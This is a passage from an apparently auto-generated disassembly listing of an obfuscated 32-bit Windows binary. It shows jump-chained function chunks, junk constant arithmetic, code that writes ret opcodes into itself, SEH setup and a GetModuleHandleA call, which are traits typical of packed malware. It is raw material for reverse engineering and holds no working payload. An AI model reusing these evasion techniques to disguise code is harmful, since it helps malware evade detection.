mov eax, [eax] mov al, [eax] jmp loc_1001ABF8 ; END OF FUNCTION CHUNK FOR sub_1001D461 ; --------------------------------------------------------------------------- loc_1001CF6B: ; CODE XREF: an.kk9rg:10016D56j jnz loc_1001643D jmp loc_1001AA75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017394 loc_1001CF76: ; CODE XREF: sub_10017394+32EBj jb loc_1001610B test ebx, 1FC86895h jmp loc_100144BD ; END OF FUNCTION CHUNK FOR sub_10017394 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A12F loc_1001CF87: ; CODE XREF: sub_1001A12F+57Fj cdq jmp loc_10016E50 ; END OF FUNCTION CHUNK FOR sub_1001A12F ; =============== S U B R O U T I N E ======================================= sub_1001CF8D proc near ; DATA XREF: sub_10013389+3889o test byte ptr [eax-10h], 38h jnz loc_1001D271 call loc_1001CC67 sub_1001CF8D endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_100190DC loc_1001CF9C: ; CODE XREF: an.kk9rg:loc_100185A8j ; sub_100190DC-B0Dj jmp loc_10019163 ; END OF FUNCTION CHUNK FOR sub_100190DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017CF8 loc_1001CFA1: ; CODE XREF: sub_10017CF8-14D5j jmp loc_1001B893 ; END OF FUNCTION CHUNK FOR sub_10017CF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_1001CFA6: ; CODE XREF: sub_1001A97E:loc_100149B5j jz loc_1001D684 jmp loc_1001A52E ; END OF FUNCTION CHUNK FOR sub_1001A97E ; =============== S U B R O U T I N E ======================================= sub_1001CFB1 proc near ; DATA XREF: sub_1001CD85-6DC8o lea eax, sub_1001A1DE push offset loc_1001A4BF jmp nullsub_158 sub_1001CFB1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017D86 loc_1001CFC1: ; CODE XREF: sub_10017D86:loc_1001784Bj mov edi, ebx jmp loc_10016BD7 ; END OF FUNCTION CHUNK FOR sub_10017D86 ; --------------------------------------------------------------------------- loc_1001CFC8: ; DATA XREF: sub_10019B0D+Fo xchg ecx, [esp] mov ebp, ecx pop ecx retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001456F loc_1001CFCF: ; CODE XREF: sub_1001456F+Cj jz loc_1001DF17 jmp loc_10015D94 ; END OF FUNCTION CHUNK FOR sub_1001456F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_1001CFDA: ; CODE XREF: sub_1001C535+14DFj jns loc_1001978F shr edx, 14h mov ebx, edi xor esi, 579DD146h loc_1001CFEB: ; CODE XREF: sub_1001C535:loc_10017437j mov eax, 0A2CD59D9h call sub_100181E1 push offset sub_10017315 jmp nullsub_133 ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015CBE loc_1001CFFF: ; CODE XREF: sub_10015CBE+Bj jp loc_1001B178 popf jmp loc_1001448E ; END OF FUNCTION CHUNK FOR sub_10015CBE ; --------------------------------------------------------------------------- xor edx, 6E0D7C02h jmp sub_1001533A ; --------------------------------------------------------------------------- xchg edx, esi jmp loc_1001A5E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001D01D: ; CODE XREF: sub_100136D7:loc_10016294j jz loc_10017F60 jmp loc_10016BC5 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_93. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013BB8 loc_1001D029: ; CODE XREF: sub_10013BB8+7620j jmp loc_100195CC ; END OF FUNCTION CHUNK FOR sub_10013BB8 ; --------------------------------------------------------------------------- loc_1001D02E: ; CODE XREF: an.kk9rg:10015BD0j jmp locret_10019228 ; --------------------------------------------------------------------------- locret_1001D033: ; CODE XREF: an.kk9rg:1001908Fj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017D86 loc_1001D034: ; CODE XREF: sub_10017D86+Cj jmp loc_10019518 ; END OF FUNCTION CHUNK FOR sub_10017D86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_1001D039: ; CODE XREF: sub_10015BFC+71Aj jmp loc_1001A9B0 ; END OF FUNCTION CHUNK FOR sub_10015BFC ; --------------------------------------------------------------------------- loc_1001D03E: ; CODE XREF: an.kk9rg:10013218j jmp loc_1001379A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100130C7 loc_1001D043: ; CODE XREF: sub_100130C7:loc_10017C79j add [ebp-8], eax mov eax, [ebp-8] shr eax, 0Bh xor [ebp-8], eax jmp loc_100181B0 ; END OF FUNCTION CHUNK FOR sub_100130C7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C9F8 loc_1001D055: ; CODE XREF: sub_1001C9F8:loc_1001CA11j jmp loc_10015F20 ; END OF FUNCTION CHUNK FOR sub_1001C9F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100190DC loc_1001D05A: ; CODE XREF: sub_100190DC+Aj jmp loc_1001708E ; END OF FUNCTION CHUNK FOR sub_100190DC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_35. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C77 loc_1001D060: ; CODE XREF: sub_10015C77-24E2j jmp loc_1001309C ; END OF FUNCTION CHUNK FOR sub_10015C77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013BB8 loc_1001D065: ; CODE XREF: sub_10013BB8:loc_1001A1D9j cdq jmp loc_100131C4 ; END OF FUNCTION CHUNK FOR sub_10013BB8 ; --------------------------------------------------------------------------- sbb ebx, 30D81C46h jmp sub_1001D9A7 ; =============== S U B R O U T I N E ======================================= sub_1001D076 proc near ; CODE XREF: sub_100193F2:loc_1001ACCEp ; an.kk9rg:1001BB9Fj ; FUNCTION CHUNK AT 1001CB05 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi call sub_1001A4DF loc_1001D07F: ; CODE XREF: sub_100193F2-61B8j ; sub_100193F2:loc_10014AF4j ... push offset sub_10014698 jmp loc_1001CB05 sub_1001D076 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_1001D089 proc near ; CODE XREF: sub_1001CC4A-6DACj retn sub_1001D089 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A3BE loc_1001D08A: ; CODE XREF: sub_1001A3BE+6j jmp sub_1001D1DB ; END OF FUNCTION CHUNK FOR sub_1001A3BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_1001D08F: ; CODE XREF: sub_10017A58+733j jmp sub_1001D88D ; END OF FUNCTION CHUNK FOR sub_10017A58 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_125. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_1001D095: ; CODE XREF: an.kk9rg:1001573Ej jmp loc_100170D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_1001D09A: ; CODE XREF: sub_10015E0D:loc_10018AACj mov esp, ebp pop ebp mov eax, ds:dword_1001B740 or eax, eax jnz loc_10013800 jmp loc_10013628 ; END OF FUNCTION CHUNK FOR sub_10015E0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014F93 loc_1001D0B0: ; CODE XREF: sub_10014F93:loc_10015E48j xchg edx, [esp+8+var_8] mov edi, edx pop edx ; END OF FUNCTION CHUNK FOR sub_10014F93 ; START OF FUNCTION CHUNK FOR sub_100138FD loc_1001D0B6: ; CODE XREF: sub_100138FD:loc_10015934j ; an.kk9rg:100196D2j ... dec ds:dword_10018608 mov eax, [ebp-4] pop ecx jmp loc_1001600A ; END OF FUNCTION CHUNK FOR sub_100138FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_1001D0C5: ; CODE XREF: sub_10018066-282Bj mov [edi], eax pop edi popf inc dword ptr [ebp-0Ch] dec dword ptr [ebp-18h] jnz loc_1001CC20 jmp loc_10019714 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B45F loc_1001D0DA: ; CODE XREF: sub_1001B45F:loc_10019DA1j test eax, 0E986063h jmp loc_1001CAAE ; END OF FUNCTION CHUNK FOR sub_1001B45F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_1001D0E5: ; CODE XREF: sub_1001ABFD+740j jbe loc_10019998 or ebp, eax loc_1001D0ED: ; CODE XREF: sub_1001ABFD:loc_10013667j ; sub_1001ABFD-6396j ... jmp loc_10016C2C ; --------------------------------------------------------------------------- loc_1001D0F2: ; CODE XREF: sub_1001ABFD-1701j ; sub_1001ABFD+2513j xchg ebp, [esp+0] mov ecx, ebp jmp loc_1001AAE0 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D392 loc_1001D0FC: ; CODE XREF: sub_1001D392:loc_10013952j xchg ecx, [esp+0] jmp loc_10016BC0 ; END OF FUNCTION CHUNK FOR sub_1001D392 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_1001D104: ; CODE XREF: sub_1001ABFD-60C8j jnp loc_100151A3 loc_1001D10A: ; CODE XREF: sub_1001ABFD:loc_1001DA9Dj mov eax, [ebp+var_4] cmp byte ptr [eax], 0F1h jnz loc_1001D0F2 jmp loc_1001B7D9 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- loc_1001D11B: ; CODE XREF: an.kk9rg:10013743j adc eax, ebp ; =============== S U B R O U T I N E ======================================= sub_1001D11D proc near ; CODE XREF: sub_100174F4:loc_100174FAp ; FUNCTION CHUNK AT 1001360A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017323 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov [ebp-4], eax jmp loc_1001360A sub_1001D11D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001D129 proc near ; DATA XREF: an.kk9rg:10016C43o ; FUNCTION CHUNK AT 10018FB3 SIZE 00000005 BYTES mov edx, [ebp+8] mov [edx-8], eax jmp loc_10018FB3 sub_1001D129 endp ; --------------------------------------------------------------------------- loc_1001D134: ; CODE XREF: an.kk9rg:loc_10016C31j cmp dword ptr [ebp-10h], 2 jnz loc_100190F2 jmp loc_1001AE88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_1001D143: ; CODE XREF: sub_10016734-9CFj jnz loc_10013B13 jmp loc_10017CA8 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CBA8 loc_1001D14E: ; CODE XREF: sub_1001CBA8+Dj jz loc_10017F60 jmp loc_100154A3 ; END OF FUNCTION CHUNK FOR sub_1001CBA8 ; --------------------------------------------------------------------------- loc_1001D159: ; CODE XREF: an.kk9rg:10018094j adc edx, edi shl eax, 0Eh loc_1001D15E: ; CODE XREF: an.kk9rg:loc_10017AD2j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jmp loc_100153D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018CA1 loc_1001D169: ; CODE XREF: sub_10018CA1:loc_10018CAAj push ecx cmp ds:dword_1001B728, 0 jnz loc_100183A6 call nullsub_5 call sub_100180C2 mov edx, 0CF0182F6h call sub_1001DECE jmp loc_10018830 ; END OF FUNCTION CHUNK FOR sub_10018CA1 ; =============== S U B R O U T I N E ======================================= sub_1001D190 proc near ; CODE XREF: sub_10019595:loc_10019C40p ; an.kk9rg:1001D970j arg_0 = dword ptr 4 xchg ebx, [esp+0] pop ebx add edx, 216C94C2h mov [edx], eax xchg ebp, [esp-4+arg_0] mov edx, ebp pop ebp call sub_1001BABF sub_1001D190 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_100173FA loc_1001D1A7: ; CODE XREF: sub_100173FA-2EC0j jmp loc_1001B7A5 ; END OF FUNCTION CHUNK FOR sub_100173FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_1001D1AC: ; CODE XREF: sub_10019E2E:loc_1001A676j jnz loc_1001CDE2 jg loc_10013AB3 or edx, 5B9C4DC0h adc esi, 6AF8D9E9h jge loc_100183A1 push esi jmp loc_1001CDE2 ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_1001D1D0: ; CODE XREF: sub_10015988:loc_1001811Bj jnz loc_10018673 jmp loc_10016E76 ; END OF FUNCTION CHUNK FOR sub_10015988 ; =============== S U B R O U T I N E ======================================= sub_1001D1DB proc near ; CODE XREF: sub_100180C2+124Ap ; sub_1001D1DB:loc_1001989Bj ... ; FUNCTION CHUNK AT 1001989B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A3C9 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001CB25 SIZE 0000000E BYTES mov edx, 1 lock xchg edx, [eax] or edx, edx jz nullsub_142 loc_1001D1EB: ; CODE XREF: sub_1001A3BEj ; sub_1001D1DB-6B3j jnz loc_1001A3C9 jmp loc_1001C3E1 sub_1001D1DB endp ; --------------------------------------------------------------------------- xor esi, 0A44409C8h jmp loc_10018792 ; =============== S U B R O U T I N E ======================================= sub_1001D201 proc near ; CODE XREF: an.kk9rg:10014CA6j ; sub_10018628:loc_10014E08p ; FUNCTION CHUNK AT 10014006 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 10015511 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018116 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CC0C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001CE18 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001DBB7 SIZE 00000007 BYTES xchg ecx, [esp+0] pop ecx call sub_100141F5 cmp eax, [ebp-8] jnz loc_1001CE18 mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] jmp loc_10014006 sub_1001D201 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001D221 proc near ; DATA XREF: an.kk9rg:1001AE5Ao mov byte ptr [eax], 0C3h call sub_100180C2 sub_1001D221 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1001D88D loc_1001D229: ; CODE XREF: sub_1001D88D:loc_10017C89j jns loc_10019BCA call sub_1001CC4A ; END OF FUNCTION CHUNK FOR sub_1001D88D ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D234: ; CODE XREF: sub_10013389:loc_10017606j push 0F90D149Dh pop eax sub eax, 43F5C39Ch or eax, 16468682h test eax, 100000h jmp loc_100184CB ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_1001D251 proc near ; DATA XREF: sub_1001BB72-2349o ; FUNCTION CHUNK AT 1001D6E7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001DA92 SIZE 0000000B BYTES imul byte ptr [edx] cmp al, 0A4h jz loc_1001CAE7 jmp loc_1001DA92 sub_1001D251 endp ; =============== S U B R O U T I N E ======================================= sub_1001D260 proc near ; DATA XREF: sub_10013389+65ABo mov edx, [ebp+8] mov edx, [edx-8] or edx, 40h or eax, edx mov edx, [ebp+8] mov [edx-8], eax sub_1001D260 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_100198E6 loc_1001D271: ; CODE XREF: sub_10013389+3171j ; an.kk9rg:loc_10016C03j ... mov eax, [ebp-4] mov [ebp-8], eax jmp loc_1001AA15 ; END OF FUNCTION CHUNK FOR sub_100198E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_1001D27C: ; CODE XREF: sub_1001A54C-2674j jz loc_1001C732 jmp loc_10013935 ; END OF FUNCTION CHUNK FOR sub_1001A54C ; --------------------------------------------------------------------------- loc_1001D287: ; CODE XREF: an.kk9rg:1001AFB1j add eax, 3Ch mov eax, [eax] add eax, [ebp-4] jmp loc_1001D37A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DECE loc_1001D294: ; CODE XREF: sub_1001DECE+3j push offset sub_10018DE4 jmp loc_1001630E ; END OF FUNCTION CHUNK FOR sub_1001DECE ; --------------------------------------------------------------------------- loc_1001D29E: ; CODE XREF: an.kk9rg:100139F1j rol edx, 11h add edx, 19776019h xor edx, 0E53A1305h add edx, 55BF2EE9h add edx, ebp jmp loc_1001895F ; --------------------------------------------------------------------------- loc_1001D2BA: ; DATA XREF: an.kk9rg:100130ECo push edi call sub_10018F28 ; START OF FUNCTION CHUNK FOR sub_1001725E loc_1001D2C0: ; CODE XREF: sub_1001725E+D30j jmp loc_10017D68 ; END OF FUNCTION CHUNK FOR sub_1001725E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015A4A loc_1001D2C5: ; CODE XREF: sub_10015A4A:loc_10015A5Bj jmp loc_10013B89 ; END OF FUNCTION CHUNK FOR sub_10015A4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_1001D2CA: ; CODE XREF: sub_100188EE:loc_10019609j jnz loc_10014222 jmp loc_1001B498 ; END OF FUNCTION CHUNK FOR sub_100188EE ; =============== S U B R O U T I N E ======================================= sub_1001D2D5 proc near ; CODE XREF: sub_10018A31-3647p ; an.kk9rg:1001DD4Cj xchg esi, [esp+0] pop esi lea eax, sub_10014030 mov byte ptr [eax], 0C3h jmp sub_10014030 sub_1001D2D5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014030 loc_1001D2E7: ; CODE XREF: sub_10014030+1j mov eax, [esp-4+arg_0] push offset loc_100147C1 jmp loc_1001452D ; END OF FUNCTION CHUNK FOR sub_10014030 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001D2F4: ; CODE XREF: sub_10015B5D:loc_1001B5BBj and esi, 0C90A7629h jmp loc_1001BAF4 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- xchg edi, [ebx] ror eax, 19h jmp sub_1001AA64 ; --------------------------------------------------------------------------- loc_1001D309: ; CODE XREF: an.kk9rg:10018DCEj adc ecx, ebx shr edi, 1Fh jmp loc_1001B004 ; --------------------------------------------------------------------------- xor edi, 0C1824023h or ebx, esi jmp loc_1001C409 ; --------------------------------------------------------------------------- loc_1001D320: ; DATA XREF: sub_1001AEBC+11o mov eax, [ebp-4] movzx eax, byte ptr [eax] mov edx, [ebp+8] ; START OF FUNCTION CHUNK FOR sub_100190EB loc_1001D329: ; CODE XREF: sub_100190EB:loc_10017052j mov [edx-18h], eax inc dword ptr [ebp-4] push offset loc_100161A7 jmp nullsub_143 ; END OF FUNCTION CHUNK FOR sub_100190EB ; --------------------------------------------------------------------------- adc edi, 0A6C57F59h jmp loc_1001A704 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001D344: ; CODE XREF: sub_10016D66:loc_10019149j xor eax, eax mov [ebp-4], eax call sub_10013044 loc_1001D34E: ; CODE XREF: an.kk9rg:10019065j jmp loc_1001407A ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015066 loc_1001D353: ; CODE XREF: sub_10015066+1DBCj jmp loc_10018B2C ; END OF FUNCTION CHUNK FOR sub_10015066 ; --------------------------------------------------------------------------- loc_1001D358: ; CODE XREF: an.kk9rg:100184D8j push ecx ror esi, 1Fh ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D35C: ; CODE XREF: sub_10013389:loc_100184CBj sub eax, 5894F3F7h add eax, 0C69CAC5Eh call sub_10014A76 sub edi, 121934E3h jmp loc_10017FE0 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018D62 loc_1001D378: ; CODE XREF: sub_10018D62:loc_1001A917j pop ebx retn ; END OF FUNCTION CHUNK FOR sub_10018D62 ; --------------------------------------------------------------------------- loc_1001D37A: ; CODE XREF: an.kk9rg:1001D28Fj jmp loc_1001CD3C ; =============== S U B R O U T I N E ======================================= sub_1001D37F proc near ; CODE XREF: sub_10014317:loc_1001885Dp ; FUNCTION CHUNK AT 10017B83 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D663 SIZE 0000001B BYTES push large dword ptr fs:0 mov large fs:0, esp jmp loc_10017B83 sub_1001D37F endp ; =============== S U B R O U T I N E ======================================= sub_1001D392 proc near ; CODE XREF: an.kk9rg:10017CE9p ; sub_10013389:loc_10019D94j var_8 = dword ptr -8 ; FUNCTION CHUNK AT 1001394C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100167EC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10016BC0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018D10 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001963E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B2F6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001BA27 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 1001D0FC SIZE 00000008 BYTES xchg esi, [esp+0] pop esi loc_1001D396: ; CODE XREF: an.kk9rg:loc_10016CF8j mov edx, 8D40711Dh call sub_1001534D push esi jmp loc_10018D10 sub_1001D392 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_1001D3A6: ; CODE XREF: sub_10018066+556Cj jz loc_10015EEE jmp loc_10019911 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017EFB loc_1001D3B1: ; CODE XREF: sub_10017EFB:loc_10014C49j pushf sbb ebx, 67019A19h xor edx, 0BDBA7808h jmp loc_10019BF9 ; END OF FUNCTION CHUNK FOR sub_10017EFB ; --------------------------------------------------------------------------- loc_1001D3C3: ; DATA XREF: sub_1001ABFD+1FE4o mov byte ptr [eax], 0C3h call nullsub_6 push edx push 821699FDh pop edx and edx, 31B12BD2h add edx, 0E7E32E1Bh jmp loc_10016AC7 ; --------------------------------------------------------------------------- add edx, 0B1872007h jmp sub_10018C4D ; --------------------------------------------------------------------------- loc_1001D3EE: ; CODE XREF: an.kk9rg:1001AB4Aj jnz loc_10019BF9 jmp loc_10014C49 ; --------------------------------------------------------------------------- cmp eax, esi jmp loc_1001987A ; --------------------------------------------------------------------------- jle loc_1001A010 jmp sub_10018352 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014B3A loc_1001D40B: ; CODE XREF: sub_10014B3A+10j add eax, 7F973528h xor eax, 0A8FA0512h ; END OF FUNCTION CHUNK FOR sub_10014B3A ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_1001D417: ; CODE XREF: sub_10015D9E:loc_1001526Ej add eax, 10491000h call sub_100181E1 mov ds:off_10002038, eax lea eax, loc_10019A27 jmp loc_1001C516 ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2A9 loc_1001D433: ; CODE XREF: sub_1001C2A9-1170j adc esi, 61A9D72Ch xor eax, ebp ; END OF FUNCTION CHUNK FOR sub_1001C2A9 ; =============== S U B R O U T I N E ======================================= sub_1001D43B proc near ; CODE XREF: sub_1001C2A9:loc_1001994Dj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10017461 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 10018476 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AAA4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001D4A3 SIZE 00000005 BYTES push ebx push 68D63083h jmp loc_1001D4A3 sub_1001D43B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D446: ; CODE XREF: sub_10013389+A301j xchg edx, [esp+0] mov ebp, edx pop edx retn ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_1001D44D: ; CODE XREF: sub_1001492C+962Ej jmp loc_100134B3 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D452: ; CODE XREF: sub_10013389+A7B6j jmp loc_1001ADC5 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CC4A loc_1001D457: ; CODE XREF: sub_1001CC4A+28j jmp loc_10015E8A ; END OF FUNCTION CHUNK FOR sub_1001CC4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2A9 loc_1001D45C: ; CODE XREF: sub_1001C2A9-1113j jmp loc_1001994D ; END OF FUNCTION CHUNK FOR sub_1001C2A9 ; =============== S U B R O U T I N E ======================================= sub_1001D461 proc near ; CODE XREF: sub_100143F5+2231p ; sub_100143F5+2DFBp ; FUNCTION CHUNK AT 10013A23 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 10014334 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10014F74 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10016C5D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10017294 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001ABF8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CF5A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001D52A SIZE 00000010 BYTES push ebp jmp loc_1001D52A sub_1001D461 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001D467 proc near ; CODE XREF: an.kk9rg:loc_10017DD3p ; an.kk9rg:1001BB5Dj xchg eax, [esp+0] pop eax loc_1001D46B: ; CODE XREF: an.kk9rg:1001C11Cj push edi mov edi, esi xchg edi, [esp+0] call sub_10017EFB sub_1001D467 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10015B1B loc_1001D476: ; CODE XREF: sub_10015B1B:loc_10019FD4j jz loc_10015B92 jmp loc_10014E5F ; END OF FUNCTION CHUNK FOR sub_10015B1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_1001D481: ; CODE XREF: sub_10017BF9-2F7Dj jnz loc_1001423A jmp loc_1001A3EA ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_162. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100130C7 loc_1001D48F: ; CODE XREF: sub_100130C7+703Aj jmp loc_10017747 ; END OF FUNCTION CHUNK FOR sub_100130C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C28F loc_1001D494: ; CODE XREF: sub_1001C28F-24C8j jmp loc_10018810 ; END OF FUNCTION CHUNK FOR sub_1001C28F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_1001D499: ; CODE XREF: sub_10013061+4439j ; sub_1001A54C-267Aj mov edx, [esp+0Ch+var_C] mov al, 1 call edx ; GetModuleHandleA xor eax, eax retn ; END OF FUNCTION CHUNK FOR sub_1001A54C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D43B loc_1001D4A3: ; CODE XREF: sub_1001D43B+6j jmp loc_10017461 ; END OF FUNCTION CHUNK FOR sub_1001D43B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D4A8: ; CODE XREF: sub_10013389+74E4j jmp loc_10018AA1 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100151FD loc_1001D4AD: ; CODE XREF: sub_100151FD+Fj jmp loc_1001D70E ; END OF FUNCTION CHUNK FOR sub_100151FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B9C1 loc_1001D4B2: ; CODE XREF: sub_1001B9C1:loc_10018618j push offset loc_1001736A jmp nullsub_145 ; END OF FUNCTION CHUNK FOR sub_1001B9C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_1001D4BC: ; CODE XREF: sub_1001A97E-21A4j jo loc_1001CC31 sbb eax, edi jmp loc_10016560 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; =============== S U B R O U T I N E ======================================= sub_1001D4C9 proc near ; DATA XREF: sub_10014418+6o ; FUNCTION CHUNK AT 10014F18 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001521D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 10015900 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A9B7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C8C5 SIZE 